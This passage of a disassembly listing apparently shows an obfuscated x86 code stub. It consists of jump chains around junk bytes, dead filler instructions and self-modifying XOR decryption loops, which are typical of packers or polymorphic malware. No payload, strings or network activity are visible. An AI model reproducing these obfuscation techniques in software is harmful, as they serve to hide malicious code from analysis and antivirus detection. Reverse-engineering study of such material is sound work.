; ---------------------------------------------------------------------------
		push	ds


loc_409289:				; CODE XREF: .text:loc_40925Dj
		jmp	short loc_409266
; ---------------------------------------------------------------------------


loc_40928B:				; CODE XREF: .text:loc_40929Aj
		jmp	short loc_4092B5
; ---------------------------------------------------------------------------
		db 0FFh, 0CCh, 15h
		dd 91B81B2Ah, 0CD64F7F6h
		db 82h,	93h
; ---------------------------------------------------------------------------


loc_40929A:				; CODE XREF: .text:loc_409266j
		jmp	short loc_40928B
; ---------------------------------------------------------------------------
		dd 0EFCEC9D0h, 0BDA85FCh
; ---------------------------------------------------------------------------


loc_4092A4:				; CODE XREF: .text:loc_4092B5j
		jmp	short loc_4092D6
; ---------------------------------------------------------------------------
		dw 1E8h
		dd 3D94E7A6h, 39008332h, 0F52CDF7Eh
		db 8Ah
; ---------------------------------------------------------------------------


loc_4092B5:				; CODE XREF: .text:loc_40928Bj
		jmp	short loc_4092A4
; ---------------------------------------------------------------------------
		db 0FBh
		dd 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h
		dd 63921DF4h, 0BFDE1960h
; ---------------------------------------------------------------------------
		mov	ebp, ss


loc_4092D6:				; CODE XREF: .text:loc_4092A4j
		lodsd
		jmp	short loc_409309
; ---------------------------------------------------------------------------
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx


loc_4092E2:				; CODE XREF: .text:loc_409309j
		jmp	short loc_409319
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh,	0A26D8497h
		dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh
		db 87h
; ---------------------------------------------------------------------------


loc_409309:				; CODE XREF: .text:004092D7j
		jmp	short loc_4092E2
; ---------------------------------------------------------------------------


loc_40930B:				; CODE XREF: .text:loc_409319j
		jmp	short loc_409332
; ---------------------------------------------------------------------------
		mov	ah, 0DDh
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait


loc_409319:				; CODE XREF: .text:loc_4092E2j
		jmp	short loc_40930B
; ---------------------------------------------------------------------------
		db 38h
		db 11h,	76h
; ---------------------------------------------------------------------------


loc_40931E:				; CODE XREF: .text:loc_409332j
		jmp	short loc_409347
; ---------------------------------------------------------------------------
		dd 24DE477h, 4E495013h,	5A057C6Fh, 2681688Bh
		db 67h,	14h
; ---------------------------------------------------------------------------


loc_409332:				; CODE XREF: .text:loc_40930Bj
		jmp	short loc_40931E
; ---------------------------------------------------------------------------
		dd 8003B2BDh, 0AC5FFEB9h, 987B0A75h, 4457D6F1h
		db 2Dh,	62h, 0F3h
; ---------------------------------------------------------------------------


loc_409347:				; CODE XREF: .text:loc_40931Ej
		mov	esi, [eax+8]
		jmp	short loc_409370
; ---------------------------------------------------------------------------
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi


loc_409355:				; CODE XREF: .text:loc_409370j
		jmp	short loc_409381
; ---------------------------------------------------------------------------
		db 74h
		dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh
		dd 3C2F0E09h
; ---------------------------------------------------------------------------


loc_409370:				; CODE XREF: .text:0040934Aj
		jmp	short loc_409355
; ---------------------------------------------------------------------------
		dw 1AC5h
		dd 0E641284Bh, 727DD427h, 0BE7940C3h
; ---------------------------------------------------------------------------
		pop	ds


loc_409381:				; CODE XREF: .text:loc_409355j
		mov	edi, 0CDE2661Fh
		pushfw
		push	eax
		call	sub_409393
; ---------------------------------------------------------------------------
		retf	583Bh
; ---------------------------------------------------------------------------
		mov	cl, 96h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409393	proc near		; CODE XREF: .text:00409389p
		sub	eax, 1
		sub	eax, 0FFFFFFFFh
		xchg	cx, cx


loc_40939C:				; CODE XREF: sub_409393+42j
		pop	eax
		xor	dword ptr [eax+0Eh], 5FD3h
		sub	edx, 0FFFFFFFFh
		add	edx, 0FFFFFFFFh
		xor	dword ptr [eax+10h], 59h
		xor	byte ptr [eax-8], 8Fh
		xor	dword ptr [eax-7], 5E8508Dh
		xor	dword ptr [eax+11h], 39h
		pop	eax
		popfw
		jmp	loc_40939C
sub_409393	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short loc_4093FD
; ---------------------------------------------------------------------------
		dd 0FF1E59A0h
		db 0CCh
		db 15h,	2Ah
; ---------------------------------------------------------------------------


loc_4093E3:				; CODE XREF: .text:loc_4093FDj
		jmp	short loc_409412
; ---------------------------------------------------------------------------
		db 1Bh,	0B8h, 91h
		dd 0CD64F7F6h, 0C9D09382h, 85FCEFCEh, 1E80BDAh,	3D94E7A6h
		db 32h
; ---------------------------------------------------------------------------


loc_4093FD:				; CODE XREF: .text:004093DAj
		jmp	short loc_4093E3
; ---------------------------------------------------------------------------
		db 83h
; ---------------------------------------------------------------------------


loc_409400:				; CODE XREF: .text:loc_409412j
		jmp	short loc_409429
; ---------------------------------------------------------------------------
		dw 3900h
		dd 0F52CDF7Eh, 7118FB8Ah, 0ADC4D756h
		db 0E2h, 73h
; ---------------------------------------------------------------------------


loc_409412:				; CODE XREF: .text:loc_4093E3j
		jmp	short loc_409400
; ---------------------------------------------------------------------------
		dd 0CF2EA930h
		db 5Ch,	65h, 3Ah
; ---------------------------------------------------------------------------


loc_40941B:				; CODE XREF: .text:loc_409429j
		jmp	short loc_40944A
; ---------------------------------------------------------------------------
		jmp	short loc_409467
; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------
		push	es
		mov	esp, 6063921Dh
		sbb	esi, ebx


loc_409429:				; CODE XREF: .text:loc_409400j
		jmp	short loc_40941B
; ---------------------------------------------------------------------------
		mov	edi, 0DBEAD58Ch
		js	short loc_409483
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h
		db 0C0h, 0F9h
; ---------------------------------------------------------------------------


loc_40944A:				; CODE XREF: .text:loc_40941Bj
		push	esi
		pushfw
		push	esi
		call	near ptr loc_40945B+1
		in	al, dx
		mov	ch, 4Ah


loc_409456:				; CODE XREF: .text:004094BCj
		mov	ebx, 971631D8h


loc_40945B:				; CODE XREF: .text:0040944Ep
		test	ds:1C5F2310h, ch
		sub	eax, 0E3A0DCF0h
		push	edx


loc_409467:				; CODE XREF: .text:0040941Dj
		mov	edx, edx
		mov	edx, esi
		mov	edx, ebx
		lea	ebp, [ebp+0]
		xchg	edi, edi
		sub	edx, edx
		pop	edx
		xchg	edi, edi
		add	ecx, 5D797FB4h
		add	ecx, 0A286804Ch


loc_409483:				; CODE XREF: .text:00409430j
		push	edx
		lea	ebp, [ebp+0]
		lea	esp, [esp]
		lea	ebp, [ebp+0]
		mov	edx, eax
		sub	edx, esi
		pop	edx
		add	eax, 0
		add	ecx, 0B32F6B84h
		add	ecx, 4CD0947Ch
		xchg	ecx, ecx


loc_4094A5:				; CODE XREF: .text:004094EEj
		pop	esi
		xor	dword ptr [esi+52h], 8AF2D5h
		push	edx
		xchg	ecx, ecx
		add	edx, edx
		mov	edx, eax
		jmp	short loc_4094BE
; ---------------------------------------------------------------------------
		lodsb
		jnz	short loc_4094C6
		jnp	short loc_409456


loc_4094BE:				; CODE XREF: .text:004094B7j
		mov	edx, ebx
		mov	edx, edx
		pop	edx
		lea	ebp, [ebp+0]


loc_4094C6:				; CODE XREF: .text:004094BAj
		xor	dword ptr [esi+55h], 0BBh
		xor	byte ptr [esi-8], 8Fh
		xor	dword ptr [esi-7], 9E856C9h
		xor	dword ptr [esi+56h], 0D5000046h
		pop	esi
		popfw
		jmp	loc_4094A5
; ---------------------------------------------------------------------------
		pushfw


loc_4094F5:				; CODE XREF: .text:00409513j
		push	edi
		call	near ptr loc_4094FB+4


loc_4094FB:				; CODE XREF: .text:004094F6p
		sub	[esi-147E23B1h], ebp
		cmp	[ecx-147E15A3h], dh
		enter	0FFFFA24Eh, 15h
		sub	ecx, 1
		add	ecx, 1
		jmp	short loc_409518
; ---------------------------------------------------------------------------
		jecxz	short loc_4094F5
		cdq
		pop	esi
		aas


loc_409518:				; CODE XREF: .text:00409511j
		push	ebx
		mov	ebx, edx
		mov	ebx, edx
		xchg	di, di
		pop	ebx
		lea	ebp, [ebp+0]
		sub	eax, 1
		inc	eax
		push	ebx
		lea	esp, [esp]
		pop	ebx
		jmp	short loc_409534
; ---------------------------------------------------------------------------
		db 0E6h
		dd 727DD427h
; ---------------------------------------------------------------------------


loc_409534:				; CODE XREF: .text:0040952Dj
		add	eax, 6E52A479h
		sub	eax, 6E52A479h
		lea	esp, [esp]
		add	ebx, 0E7493036h
		add	ebx, 18B6CFCAh


loc_40954D:				; CODE XREF: .text:004095C7j
		pop	edi
		xor	dword ptr [edi+52h], 2A84F5D4h
		push	ecx
		xor	ecx, 0
		mov	ecx, eax
		mov	ecx, ebx
		lea	ecx, [ecx]
		sub	ecx, 0
		mov	ecx, eax
		pop	ecx
		push	ebx
		add	ebx, edx
		xchg	si, si
		lea	edx, [edx]
		jmp	short loc_409579
; ---------------------------------------------------------------------------
		pop	ecx


loc_409579:				; CODE XREF: .text:00409576j
		pop	ebx
		push	ecx
		jmp	short loc_40957E
; ---------------------------------------------------------------------------
		db 2Ah
; ---------------------------------------------------------------------------


loc_40957E:				; CODE XREF: .text:0040957Bj
		xchg	bp, bp
		jmp	short loc_409584
; ---------------------------------------------------------------------------
		db 0F6h
; ---------------------------------------------------------------------------


loc_409584:				; CODE XREF: .text:00409581j
		mov	ecx, eax
		mov	ecx, edx
		mov	ecx, eax
		pop	ecx
		xchg	bp, bp
		sub	ebx, 3B087D26h
		sub	ebx, 0C4F782DAh
		jmp	short loc_40959F
; ---------------------------------------------------------------------------
		db 1, 0A6h, 0E7h
; ---------------------------------------------------------------------------


loc_40959F:				; CODE XREF: .text:0040959Aj
		xor	dword ptr [edi+56h], 0E9h
		xor	byte ptr [edi-8], 8Fh
		xor	dword ptr [edi-7], 4E857C9h
		xor	dword ptr [edi+57h], 0F5D40076h
		pop	edi
		popfw
		jmp	loc_40954D
; ---------------------------------------------------------------------------
		jmp	short loc_4095FC
; ---------------------------------------------------------------------------
		dw 0FB8Ah
		db 18h
; ---------------------------------------------------------------------------


loc_4095D1:				; CODE XREF: .text:loc_4095FCj
		jmp	short loc_409612
; ---------------------------------------------------------------------------
		db 71h
		dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah, 1DF4C706h
		dd 19606392h, 0D58CBFDEh, 5178DBEAh, 8D24B7B6h,	89905342h
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: .text:004095CCj
		jmp	short loc_4095D1
; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------


loc_4095FF:				; CODE XREF: .text:loc_409612j
		jmp	short loc_40962E
; ---------------------------------------------------------------------------
		db 0AFh, 0BCh, 45h
		dd 0C1A8CB9Ah, 0FD54A766h, 0F9C043F2h
		db 3Eh,	9Fh
; ---------------------------------------------------------------------------


loc_409612:				; CODE XREF: .text:loc_4095D1j
		jmp	short loc_4095FF
; ---------------------------------------------------------------------------
		dd 0BB4AB5ECh, 971631D8h
		db 84h,	6Dh
; ---------------------------------------------------------------------------


loc_40961E:				; CODE XREF: .text:loc_40962Ej
		jmp	short loc_409647
; ---------------------------------------------------------------------------
		dd 69F033A2h, 251C8FEEh, 0A108ABFAh
		db 0C6h, 87h
; ---------------------------------------------------------------------------


loc_40962E:				; CODE XREF: .text:loc_4095FFj
		jmp	short loc_40961E
; ---------------------------------------------------------------------------
		dd 2352DDB4h
; ---------------------------------------------------------------------------
		and	cl, bl
		sahf


loc_409637:				; CODE XREF: .text:loc_409647j
		jmp	short loc_409662
; ---------------------------------------------------------------------------
		db 7Fh,	4Ch, 95h
		dd 11389BAAh, 4DE47776h
; ---------------------------------------------------------------------------
		add	dl, [ebx]
		push	eax


loc_409647:				; CODE XREF: .text:loc_40961Ej
		jmp	short loc_409637
; ---------------------------------------------------------------------------
		db 49h,	4Eh, 6Fh
		dd 8B5A057Ch, 67268168h, 3B2BD14h, 5FFEB980h, 7B0A75ACh
; ---------------------------------------------------------------------------
		cwde
		icebp


loc_409662:				; CODE XREF: .text:loc_409637j
		add	esi, ebx
		jmp	short loc_409696
; ---------------------------------------------------------------------------
		dw 0AE29h
; ---------------------------------------------------------------------------
		dec	edi


loc_409669:				; CODE XREF: .text:loc_409696j
		jmp	short loc_4096AF
; ---------------------------------------------------------------------------
		db 0DCh
		dd 0C86BBAE5h, 74478661h, 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h
		dd 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 284B1AC5h,	0D427E641h
; ---------------------------------------------------------------------------
		jge	short loc_409708


loc_409696:				; CODE XREF: .text:00409664j
		jmp	short loc_409669
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		inc	eax


loc_40969A:				; CODE XREF: .text:loc_4096AFj
		jmp	short loc_4096C2
; ---------------------------------------------------------------------------
		dd 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh
		db 0E9h, 6Eh, 0Fh
; ---------------------------------------------------------------------------


loc_4096AF:				; CODE XREF: .text:loc_409669j
		jmp	short loc_40969A
; ---------------------------------------------------------------------------
		pushf
		movsd


loc_4096B3:				; CODE XREF: .text:loc_4096C2j
		jmp	short loc_4096E5
; ---------------------------------------------------------------------------
		db 7Ah,	2Bh, 88h
		dd 34074621h, 0A0A3D25Dh
; ---------------------------------------------------------------------------
		pop	ecx
		push	ds


loc_4096C2:				; CODE XREF: .text:loc_40969Aj
		jmp	short loc_4096B3
; ---------------------------------------------------------------------------
		dd 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h, 0DA85FCEFh
		dd 0A601E80Bh, 323D94E7h, 7E390083h
		db 0DFh
; ---------------------------------------------------------------------------


loc_4096E5:				; CODE XREF: .text:loc_4096B3j
		push	esi
		jmp	short loc_409714
; ---------------------------------------------------------------------------
		dd 0ADC4D756h, 0A93073E2h
		db 2Eh,	0CFh, 5Ch
; ---------------------------------------------------------------------------


loc_4096F3:				; CODE XREF: .text:loc_409714j
		jmp	short loc_409724
; ---------------------------------------------------------------------------
		db 65h,	3Ah, 0EBh
		dd 0C706E148h, 63921DF4h, 0BFDE1960h
		db 8Ch,	0D5h
word_409706	dw 0DBEAh		; CODE XREF: .text:0040976Cj
; ---------------------------------------------------------------------------


loc_409708:				; CODE XREF: .text:00409694j
		js	short loc_40975B
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
; ---------------------------------------------------------------------------
		db 89h,	8Eh, 0AFh
; ---------------------------------------------------------------------------


loc_409714:				; CODE XREF: .text:004096E6j
		jmp	short loc_4096F3
; ---------------------------------------------------------------------------
		dw 45BCh
		dd 0C1A8CB9Ah
; ---------------------------------------------------------------------------


loc_40971C:				; CODE XREF: .text:loc_409724j
		jmp	short loc_40974D
; ---------------------------------------------------------------------------
		dw 0A766h
		dd 43F2FD54h
; ---------------------------------------------------------------------------


loc_409724:				; CODE XREF: .text:loc_4096F3j
					; .text:00409789j
		jmp	short loc_40971C
; ---------------------------------------------------------------------------
		dw 0F9C0h
		dd 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h, 69F033A2h,	251C8FEEh
		dd 0A108ABFAh, 0DDB487C6h, 0D9202352h, 954C7F9Eh
; ---------------------------------------------------------------------------
		stosb


loc_40974D:				; CODE XREF: .text:loc_40971Cj
		mov	esi, [esi+20h]
		jmp	short loc_40977B
; ---------------------------------------------------------------------------
		db 13h
; ---------------------------------------------------------------------------


loc_409753:				; CODE XREF: .text:loc_40977Bj
		jmp	short loc_40978C
; ---------------------------------------------------------------------------
		db 50h,	49h, 4Eh
		db 6Fh,	7Ch, 5
; ---------------------------------------------------------------------------


loc_40975B:				; CODE XREF: .text:loc_409708j
		pop	edx
		mov	ebp, [eax-7Fh]
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3
		cmp	byte ptr [ecx+75AC5FFEh], 0Ah
		jnp	short near ptr word_409706
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st


loc_40977B:				; CODE XREF: .text:00409750j
		jmp	short loc_409753
; ---------------------------------------------------------------------------
		db 0BAh, 6Bh, 0C8h
; ---------------------------------------------------------------------------


loc_409780:				; CODE XREF: .text:loc_40978Cj
		jmp	short loc_4097AF
; ---------------------------------------------------------------------------
		popa
		xchg	al, [edi+74h]
		popf
		adc	ah, bl
		loopne	loc_409724
		pop	esi


loc_40978C:				; CODE XREF: .text:loc_409753j
		jmp	short loc_409780
; ---------------------------------------------------------------------------
		aas
		or	al, 55h


loc_409791:				; CODE XREF: .text:loc_4097AFj
		jmp	short loc_4097C3
; ---------------------------------------------------------------------------
		db 6Ah
		dd 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh,	0E641284Bh
		dd 727DD427h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 40h,	79h
; ---------------------------------------------------------------------------


loc_4097AF:				; CODE XREF: .text:loc_409780j
		jmp	short loc_409791
; ---------------------------------------------------------------------------
		mov	esi, 0CA356C1Fh
		cmp	ebx, [eax-4Fh]
		xchg	eax, esi
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]


loc_4097C3:				; CODE XREF: .text:loc_409791j
		add	esi, ebx
		jmp	short loc_4097F1
; ---------------------------------------------------------------------------
		and	[esi+7], eax
		xor	al, 5Dh


loc_4097CC:				; CODE XREF: .text:loc_4097F1j
		jmp	short loc_409802
; ---------------------------------------------------------------------------
		dw 0A3D2h
		dd 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h, 9382CD64h, 0EFCEC9D0h
		dd 0BDA85FCh, 0E7A601E8h, 83323D94h
		db 0
; ---------------------------------------------------------------------------


loc_4097F1:				; CODE XREF: .text:004097C5j
		jmp	short loc_4097CC
; ---------------------------------------------------------------------------
		db 39h
		dd 0F52CDF7Eh
		db 8Ah,	0FBh, 18h
; ---------------------------------------------------------------------------


loc_4097FB:				; CODE XREF: .text:loc_409802j
		jmp	short loc_409829
; ---------------------------------------------------------------------------
		db 71h,	56h, 0D7h
		db 0C4h, 0ADh
; ---------------------------------------------------------------------------


loc_409802:				; CODE XREF: .text:loc_4097CCj
		jmp	short loc_4097FB
; ---------------------------------------------------------------------------
		dd 0A93073E2h, 655CCF2Eh, 0E148EB3Ah, 1DF4C706h, 19606392h
		dd 0D58CBFDEh, 5178DBEAh, 8D24B7B6h, 89905342h
		db 8Eh
; ---------------------------------------------------------------------------


loc_409829:				; CODE XREF: .text:loc_4097FBj
		xor	ecx, ecx
		jmp	short loc_40985C
; ---------------------------------------------------------------------------
		db 0B5h, 4Ah, 0BBh
		dd 971631D8h
		db 84h,	6Dh
; ---------------------------------------------------------------------------


loc_409836:				; CODE XREF: .text:loc_40985Cj
		jmp	short loc_40986C
; ---------------------------------------------------------------------------
		dd 69F033A2h, 251C8FEEh, 0A108ABFAh, 0DDB487C6h, 0D9202352h
		dd 954C7F9Eh, 11389BAAh, 4DE47776h, 49501302h
; ---------------------------------------------------------------------------


loc_40985C:				; CODE XREF: .text:0040982Bj
		jmp	short loc_409836
; ---------------------------------------------------------------------------
		dw 6F4Eh
		db 7Ch
; ---------------------------------------------------------------------------


loc_409861:				; CODE XREF: .text:loc_40986Cj
		jmp	short loc_40988F
; ---------------------------------------------------------------------------
		add	eax, 81688B5Ah
		db	26h, 67h
		adc	al, 0BDh


loc_40986C:				; CODE XREF: .text:loc_409836j
		jmp	short loc_409861
; ---------------------------------------------------------------------------
		mov	dl, 3


loc_409870:				; CODE XREF: .text:loc_40988Fj
		jmp	short loc_4098A2
; ---------------------------------------------------------------------------
		dw 0B980h
		dd 75AC5FFEh, 0F1987B0Ah, 2D4457D6h, 29B0F362h,	0E5DC4FAEh
		dd 61C86BBAh
; ---------------------------------------------------------------------------
		xchg	al, [edi+74h]


loc_40988F:				; CODE XREF: .text:loc_409861j
		jmp	short loc_409870
; ---------------------------------------------------------------------------


loc_409891:				; CODE XREF: .text:loc_4098A2j
		jmp	short loc_4098BB
; ---------------------------------------------------------------------------
		db 9Dh
		dd 99E0E312h, 550C3F5Eh, 0D1F85B6Ah
		db 36h,	37h
; ---------------------------------------------------------------------------


loc_4098A2:				; CODE XREF: .text:loc_409870j
		jmp	short loc_409891
; ---------------------------------------------------------------------------
		dd 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch, 27E64128h,	0C3727DD4h
		db 40h,	79h, 0BEh
; ---------------------------------------------------------------------------


loc_4098BB:				; CODE XREF: .text:loc_409891j
		dec	ecx


loc_4098BC:				; CODE XREF: .text:loc_40A07Dj
		pushfw
		push	ecx
		call	near ptr loc_4098C4+2


loc_4098C4:				; CODE XREF: .text:004098BFp
		xor	eax, 81ED87CAh
		retn	0
; ---------------------------------------------------------------------------
		dd 8D500000h, 8766583Fh, 21EB81FFh, 81FFE726h, 0E72621C3h
		dd 0CCEA81FFh, 818C70A6h, 8F5934EAh, 59098D73h,	2BB181h
		dd 180000h, 8B520000h, 8BD08BD2h, 3EB5AD3h, 8182CD64h
		dd 2CB1h, 6800h, 0F8B18000h, 8FFFFFFFh,	0FFF9B181h, 51B2FFFFh
		dd 0B18102E8h, 2Dh, 2B8Eh, 0E99D6659h, 0FFFFFFBBh, 0E8519C66h
		dd 9, 0FCEFCEC9h, 0E80BDA85h, 3DC28101h, 81F51574h, 15743DEAh
		dd 0C78B50F5h, 0FFC18358h, 6601C183h, 0C281DB87h, 0D330E6ADh
		dd 0E6ADEA81h, 248DD330h, 833F8D24h, 0C183FFC1h, 6D8D01h
		dd 3CB18159h, 0F4000000h, 52000000h, 639209EBh,	0BFDE1960h
		dd 5AEAD58Ch, 3DD0353h,	248D5BDBh, 0C9876624h, 3DB181h
		dd 680000h, 0B1800000h,	0FFFFFFF8h, 0F9B1818Fh,	0A3FFFFFFh
		dd 8109E851h, 3EB1h, 3CFA00h, 9D665900h, 0FFFFAFE9h, 509C66FFh
		dd 9E8h, 0CB9A4500h, 0A766C1A8h, 0F905FD54h, 2D93A624h
		dd 93A624F9h, 0FFE98349h, 2928EB81h, 0EB81968Ah, 6975D6D8h
		dd 0F181h, 0FF870000h, 0DD3E692Dh, 3E690568h, 0DB8768DDh
		dd 87DB8766h, 0DDEA81EDh, 816EA466h, 0A466DDC2h, 0C003506Eh
		dd 0C68B128Dh, 248DC303h, 3F8D5824h, 3C60350h, 35DB87C6h
		dd 0
; ---------------------------------------------------------------------------
		sub	eax, ebp
		xchg	edx, edx
		pop	eax
		push	edx
		xchg	bp, bp
		jmp	short loc_409A40
; ---------------------------------------------------------------------------
		pop	edi


loc_409A40:				; CODE XREF: .text:00409A3Dj
		add	edx, esi
		mov	edx, eax
		mov	edx, edi
		pop	edx


loc_409A47:				; CODE XREF: .text:00409ABDj
		pop	eax
		xor	dword ptr [eax+76h], 425Bh
		add	edx, 0
		push	eax
		xor	eax, 0
		pop	eax
		sub	ecx, 40DF31E5h
		add	ecx, 40DF31E5h
		xchg	ebx, ebx
		xchg	bx, bx
		xchg	di, di
		push	eax
		add	eax, eax
		lea	ebp, [ebp+0]
		xchg	edx, edx
		mov	eax, edx
		mov	eax, edx
		pop	eax
		sub	edx, 0FFFFFFFFh
		sub	edx, 1
		sub	eax, 62E6C309h
		add	eax, 62E6C309h
		jmp	short loc_409A95
; ---------------------------------------------------------------------------
		dw 0C53Ch
		db 1Ah
; ---------------------------------------------------------------------------


loc_409A95:				; CODE XREF: .text:00409A90j
		xor	dword ptr [eax+78h], 59h
		xor	byte ptr [eax-8], 8Fh
		xor	dword ptr [eax-7], 9E850E5h
		xor	dword ptr [eax+79h], 2
		pop	eax
		popfw
		jmp	loc_409A47
; ---------------------------------------------------------------------------
		dw 9C66h
		dd 5E857h, 27E60000h, 5727DD4h,	53793E42h, 86C1BE05h, 6D8DACh
		dd 8151FF87h, 0C1h, 8B368D00h, 8B5159C9h, 8BC88BC8h, 66CD2BCFh
		dd 5059FF87h, 8D58D287h, 91EB8136h, 81E7C3F0h, 0C3F091C3h
		dd 0D28B52E7h, 0D78BD08Bh, 85E9815Ah, 81B82C00h, 2C0085C1h
		dd 0B7815FB8h, 53h, 9, 83F68766h, 0EA8301EAh, 0AA002DFFh
		dd 2D4F47h, 52B0B856h, 0D287D503h, 6D8DD003h, 5AD38B00h
		dd 54B781h, 680000h, 0B7800000h, 0FFFFFFF8h, 0F9B7818Fh
		dd 0CAFFFFFFh, 8105E857h, 55B7h, 53E500h, 9D665F00h, 0FFFFA8E9h
		dd 2E2DEBFFh, 5CCF41EBh, 48EB3A65h, 0F4C706E1h,	6063921Dh
		dd 8CBFDE19h, 78DBEAD5h, 24B7B651h, 9053428Dh, 0BCAF8E89h
		dd 0A8CB9A45h, 54A766C1h, 0F2FDD2EBh, 3EF9C043h, 0EBB5EC9Fh
		dd 0D8BB4A2Dh, 84971631h, 0EB33A26Dh, 0EE69F0F2h, 0FA251C8Fh
		dd 0C6A108ABh, 52DDB487h, 9ED92023h, 0AA954C7Fh, 7611389Bh
		dd 24DE477h, 0F6335013h, 0EB5A27EBh, 81688B37h,	0BD146726h
		dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah, 2D4457D6h, 29B0F362h
		dd 0E5DC4FAEh, 61C86BBAh, 47D8EB86h, 9D742AEBh,	99E0E312h
		dd 550C3F5Eh, 0D1F85B6Ah, 3736EEEBh, 0D3C20DA4h, 2F0E0910h
		dd 4B1AC53Ch, 27E64128h, 0C3727DD4h, 1FBE7940h,	6610BE0Fh
		dd 1E8509Ch, 0CA000000h, 0E981h, 0C2810000h, 0C86612EDh
		dd 12EDEA81h, 8766C866h, 0B08158C9h, 16h, 5760h, 0B2A5E981h
		dd 0C181865Bh, 865BB2A5h, 2BDB8B53h, 0ED8766DBh, 525B1B8Dh
		dd 875AD28Bh, 8D128DFFh, 0FFC08312h, 8101C083h,	0FB6785E9h
		dd 85C181F2h, 87F2FB67h, 18B081C9h, 59000000h, 80000000h
		dd 0FFFFF8B0h, 0B0818FFFh, 0FFFFFFF9h, 1E85085h, 19B081h
		dd 700000h, 66580000h, 0FF93E99Dh, 2AEBFFFFh, 0D7567118h
		dd 0AD33EBC4h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah, 1DF4C706h
		dd 19606392h, 0D58CBFDEh, 5178DBEAh, 8D24B7B6h,	0D9EB5342h
		dd 0AF8E8990h, 0CB9A45BCh, 0C12FEBA8h, 0F9EBA766h, 43F2FD54h
		dd 33EBF9C0h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h,	69F033A2h
		dd 251C8FEEh, 0A108ABFAh, 0DDB487C6h, 0D9202352h, 0DAEB7F9Eh
		dd 9BAA954Ch, 0EB761138h, 4DE47727h, 0EB501302h, 6F4E49F6h
		dd 8B5A057Ch, 67268168h, 3B2BD14h, 5FFEB980h, 7B0A75ACh
		dd 57D6F198h, 0F3622D44h, 25D840Fh, 9C660000h, 1E856h
		dd 83AE0000h, 0EB8301EBh, 2DDB87FFh, 372BE8EEh,	0D417122Dh
		dd 9901EBC8h, 59D28751h, 0C2814B43h, 0
		db 87h,	0DBh
; ---------------------------------------------------------------------------
		sub	edx, 0BD81D2Fh
		add	edx, 0BD81D2Fh
		jmp	short loc_409DA5
; ---------------------------------------------------------------------------
		dd 41284B1Ah
		db 0E6h
; ---------------------------------------------------------------------------


loc_409DA5:				; CODE XREF: .text:00409D9Ej
		add	edx, 0
		add	eax, 0
		dec	edx
		inc	edx
		xchg	ecx, ecx


loc_409DB4:				; CODE XREF: .text:00409E1Cj
		pop	esi
		xor	dword ptr [esi+46h], 0BB4F9Fh
		sub	ecx, 1
		add	ecx, 1
		push	edx
		mov	edx, ecx
		sub	edx, 0
		sub	edx, ecx
		sub	edx, eax
		sub	edx, 0
		pop	edx
		add	edx, 1
		add	edx, 0FFFFFFFFh
		lea	esp, [esp]
		push	eax
		jmp	short loc_409DE6
; ---------------------------------------------------------------------------
		align 2


loc_409DE6:				; CODE XREF: .text:00409DE3j
		jmp	short loc_409DEF
; ---------------------------------------------------------------------------
		sub	bl, [ebx]
		mov	eax, 64F7F691h


loc_409DEF:				; CODE XREF: .text:loc_409DE6j
		mov	eax, edx
		mov	eax, eax
		pop	eax
		xor	dword ptr [esi+49h], 0AFh
		xor	byte ptr [esi-8], 8Fh
		xor	dword ptr [esi-7], 1E856D5h
		xor	dword ptr [esi+4Ah], 9F000065h
		pop	esi
		popfw
		jmp	loc_409DB4
; ---------------------------------------------------------------------------
		jmp	short loc_409E4C
; ---------------------------------------------------------------------------
		db 0DAh
		dd 0A601E80Bh, 323D94E7h
		db 83h,	0
; ---------------------------------------------------------------------------


loc_409E2E:				; CODE XREF: .text:loc_409E4Cj
		jmp	short loc_409E5F
; ---------------------------------------------------------------------------
		dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh,	5CCF2EA9h
		dd 48EB3A65h, 0F4C706E1h
; ---------------------------------------------------------------------------


loc_409E4C:				; CODE XREF: .text:00409E21j
		jmp	short loc_409E2E
; ---------------------------------------------------------------------------
		sbb	eax, 19606392h
		fidivr	word ptr [edi-24152A74h]
		js	short loc_409EAC
		mov	dh, 0B7h
		and	al, 8Dh


loc_409E5F:				; CODE XREF: .text:loc_409E2Ej
		add	esi, edx
		pushfw
		push	edi
		call	near ptr loc_409E69+2


